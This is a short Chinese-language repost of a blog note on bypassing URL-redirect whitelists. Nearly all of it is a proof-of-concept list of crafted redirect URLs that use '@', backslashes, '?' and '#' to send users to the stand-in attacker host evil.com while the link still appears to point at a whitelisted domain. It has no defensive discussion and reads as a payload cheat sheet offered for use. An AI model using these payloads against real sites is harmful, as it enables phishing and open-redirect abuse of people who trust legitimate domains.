URL跳转绕过姿势

POC

"@"

http://www.target.com/redirecturl=http://[email protected]

"\"

http://www.target.com/redirecturl=http://evil.com\a.whitelist.com

"\\"

http://www.target.com/redirecturl=http://evil.com\\a.whitelist.com

"?"

http://www.target.com/redirecturl=http://evil.com?a.whitelist.com

"#"

http://www.target.com/redirecturl=http://evil.com#a.whitelist.com

转载于:https://www.cnblogs.com/Mrsm1th/p/8718867.html

你可能感兴趣的:(URL跳转绕过姿势)